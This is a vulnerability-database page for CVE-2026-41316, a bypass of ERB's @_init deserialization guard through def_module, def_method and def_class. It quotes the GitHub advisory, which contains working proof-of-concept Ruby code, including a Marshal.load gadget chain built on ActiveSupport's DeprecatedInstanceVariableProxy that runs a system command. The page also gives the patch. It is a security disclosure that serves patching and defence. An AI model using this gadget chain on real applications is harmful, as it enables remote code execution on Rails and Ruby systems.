CVE-2026-41316
highpriority · track · 0EPSS 0.011 · 66 %ileDEEUUSEPSS · scored 2026-10-27
ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an `@_init` instance variable guard in `ERB#result` and `ERB#run` to prevent code execution when an ERB object is reconstructed via `Marshal.load` (deserialization). However, three other public methods that also evaluate `@src` via `eval()` were not given the same guard: `ERB#def_method`, `ERB#def_module`, and `ERB#def_class`. An attacker who can trigger `Marshal.load` on untrusted data in a Ruby application that has `erb` loaded can use `ERB#def_module` (zero-arg, default parameters) as a code execution sink, bypassing the `@_init` protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (19)
Products and version ranges known to be affected.
advisories (4)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-1187Ruby und Ruby on Rails (erb gem): Schwachstelle ermöglicht CodeausführungDeutsch2026-04-20csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Ruby und Ruby on Rails ausnutzen, um Sicherheitsmaßnahmen zu umgehen und so beliebigen Code auszuführen.
- WID-SEC-W-2026-2379Ruby: Mehrere SchwachstellenDeutsch2026-07-15csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Ruby ausnutzen, um Informationen offenzulegen, um einen Denial of Service Angriff durchzuführen, und um beliebigen Programmcode auszuführen.
- WID-SEC-W-2026-2455Oracle Solaris Drittanbieterkomponenten: Mehrere SchwachstellenDeutsch2026-07-21csaf · cert_bundDE
Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in verschiedenen Komponenten von Drittanbietern in Oracle Solaris ausnutzen, um einen nicht näher spezifizierten Angriff durchzuführen.
- GHSA-q339-8rmv-2mhvERB has an @_init deserialization guard bypass via def_module / def_method / def_class2026-04-24ghsa · osvUS
## Summary Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an `@_init` instance variable guard in `ERB#result` and `ERB#run` to prevent code execution when an ERB object is reconstructed via `Marshal.load` (deserialization). However, three other public methods that also evaluate `@src` via `eval()` were not given the same guard: - `ERB#def_method` - `ERB#def_module` - `ERB#def_class` An attacker who can trigger `Marshal.load` on untrusted data in a Ruby application that has `erb` loaded can use `ERB#def_module` (zero-arg, default parameters) as a code execution sink, bypassing the `@_init` protection entirely. <details> ## The @_init Guard In `ERB#initialize`, the guard is set: ```ruby # erb.rb line 838 @_init = self.class.singleton_class ``` In `ERB#result` and `ERB#run`, the guard is checked before `eval(@src)`: ```ruby # erb.rb line 1008-1012 def result(b=new_toplevel) unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end eval(@src, b, (@filename || '(erb)'), @lineno) end ``` When an ERB object is reconstructed via `Marshal.load`, `@_init` is either `nil` (not set during marshal reconstruction) or an attacker-controlled value. Since `ERB.singleton_class` cannot be marshaled, the attacker cannot set `@_init` to the correct value, and `result`/`run` correctly refuse to execute. ## The Bypass `ERB#def_method`, `ERB#def_module`, and `ERB#def_class` all reach `eval(@src)` without checking `@_init`: ```ruby # erb.rb line 1088-1093 def def_method(mod, methodname, fname='(ERB)') src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1) # <-- no @_init check end end # erb.rb line 1113-1117 def def_module(methodname='erb') # <-- zero-arg call possible mod = Module.new def_method(mod, methodname, @filename || '(ERB)') mod end # erb.rb line 1170-1174 def def_class(superklass=Object, methodname='result') # <-- zero-arg call possible cls = Class.new(superklass) def_method(cls, methodname, @filename || '(ERB)') cls end ``` `def_module` and `def_class` accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods. ### Method wrapper breakout `def_method` wraps `@src` in a method definition: `"def erb\n" + @src + "\nend\n"`. Code inside a method body only executes when the method is called, not when it's defined. However, by setting `@src` to begin with `end\n`, the attacker closes the method definition early. Code after the first `end` executes immediately at `module_eval` time: ```ruby # Attacker sets @src = "end\nsystem('id')\ndef x" # After def_method transformation, module_eval receives: # # def erb # end # system('id') <- executes at eval time # def x # end ``` --- ## Proof of Concept ### Minimal (ERB only) ```ruby require 'erb' erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) # ERB#result correctly blocks this: begin erb.result rescue ArgumentError => e puts "result: #{e.message} (blocked by @_init -- correct)" end # ERB#def_module does NOT block this -- executes system('id'): erb.def_module # Output: uid=0(root) gid=0(root) groups=0(root) ``` ### Marshal deserialization (ERB + ActiveSupport) When combined with `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy` as a method dispatch gadget, this achieves RCE via `Marshal.load`: ```ruby require 'active_support' require 'active_support/deprecation' require 'active_support/deprecation/proxy_wrappers' require 'erb' # --- Build payload (replace proxy class for marshaling) --- real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) class ActiveSupport::Deprecation class DeprecatedInstanceVariableProxy def initialize(h) h.each { |k, v| instance_variable_set(k, v) } end end end erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) erb.instance_variable_set(:@filename, nil) proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({ :@instance => erb, :@method => :def_module, :@var => "@x", :@deprecator => Kernel }) marshaled = Marshal.dump({proxy => 0}) # --- Restore real class and trigger --- ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class) # This triggers RCE: Marshal.load(marshaled) # Output: uid=0(root) gid=0(root) groups=0(root) ``` **Chain:** 1. `Marshal.load` reconstructs a Hash with a `DeprecatedInstanceVariableProxy` as key 2. Hash key insertion calls `.hash` on the proxy 3. `.hash` is undefined -> `method_missing(:hash)` -> dispatches to `ERB#def_module` 4. `def_module` -> `def_method` -> `module_eval(eval(src))` -> breakout -> `system('id')` **Verified on:** Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1 </details> ## Impact ### Scope Any Ruby application that calls `Marshal.load` on untrusted data AND has both `erb` and `activesupport` loaded is vulnerable to arbitrary code execution. This includes: - **Ruby on Rails applications that import untrusted serialized data** -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC - **Ruby tools that import untrusted serialized data** -- any tool using `Marshal.load` for caching, data import, or IPC - **Legacy Rails apps** (pre-7.0) that still use Marshal for cookie session serialization ### Severity justification The `@_init` guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The `def_module` bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6. This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails. <details> ### Gadget chain history Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations: | Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | **2026** | **ERB#def_module @_init bypass** | **ERB 6.0.4** | </details> ## Patches The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them. * ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 <details> Add the `@_init` check to `def_method`. Since `def_module` and `def_class` both delegate to `def_method`, this single change covers all three bypass paths: ```ruby def def_method(mod, methodname, fname='(ERB)') unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1) end end ``` </details> -----
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (21)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2026-41316cnnvd
- https://github.com/ruby/erb/releasesPatchcnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2026-41316cnnvd
- https://github.com/ruby/erb/security/advisories/GHSA-q339-8rmv-2mhvenisa_euvd
- https://access.redhat.com/errata/RHSA-2026:18030nvd
- https://access.redhat.com/errata/RHSA-2026:18039nvd
- https://access.redhat.com/errata/RHSA-2026:18065nvd
- https://access.redhat.com/errata/RHSA-2026:20596nvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan